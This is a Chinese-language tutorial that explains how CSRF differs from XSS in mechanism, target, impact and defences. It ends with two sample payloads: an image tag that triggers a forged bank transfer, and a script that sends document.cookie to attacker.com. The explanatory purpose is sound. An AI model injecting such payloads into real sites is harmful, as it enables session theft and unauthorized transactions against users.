CSRF(Cross-Site Request Forgery,跨站请求伪造)和 XSS(Cross-Site Scripting,跨站脚本攻击)是两种常见的 Web 安全漏洞,但它们的攻击原理和防御方式完全不同。
核心区别
1. 攻击原理
CSRF:
- 利用用户已认证的身份
- 诱导用户向目标网站发送请求
- 浏览器自动携带 Cookie
- 不需要注入脚本代码
XSS:
- 在目标网站注入恶意脚本
- 脚本在受害者浏览器中执行
- 可以窃取 Cookie、会话令牌
- 可以执行任意 JavaScript 代码
2. 攻击目标
CSRF:
- 攻击服务器端
- 利用用户的合法身份
- 执行非预期的操作(如转账、修改密码)
XSS:
- 攻击客户端
- 利用网站的漏洞
- 窃取用户数据或控制用户浏览器
3. 攻击方式
CSRF:
- 通过跨域请求(如
<img>、<form>、<iframe>) - 不需要用户交互(部分情况)
- 请求看起来来自合法用户
XSS:
- 通过注入脚本代码(如
<script>、<onerror>) - 需要用户访问包含恶意代码的页面
- 脚本在页面上下文中执行
4. 危害范围
CSRF:
- 受限于用户权限
- 只能执行用户有权限的操作
- 无法直接读取响应内容
XSS:
- 可以窃取 Cookie、Token
- 可以读取页面内容
- 可以执行任意操作
- 可以传播给其他用户
5. 防御方式
CSRF 防御:
- CSRF Token
- SameSite Cookie
- 验证 Referer/Origin
- 双重提交 Cookie
XSS 防御:
- 输入验证和过滤
- 输出编码(HTML、JavaScript、URL)
- Content Security Policy (CSP)
- HttpOnly Cookie
实际案例
CSRF 攻击示例
html<!-- 恶意网站 --> <img src="https://bank.com/transfer?to=attacker&amount=1000">
XSS 攻击示例
html<!-- 恶意评论 --> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script>
共同点
- 都是跨站攻击
- 都利用了浏览器的安全模型
- 都需要用户访问恶意内容
- 都可以通过安全编码预防
总结
CSRF 是"冒充用户",XSS 是"控制用户"。CSRF 利用用户的合法身份执行操作,XSS 注入脚本控制浏览器。理解两者的区别对于构建安全的 Web 应用至关重要。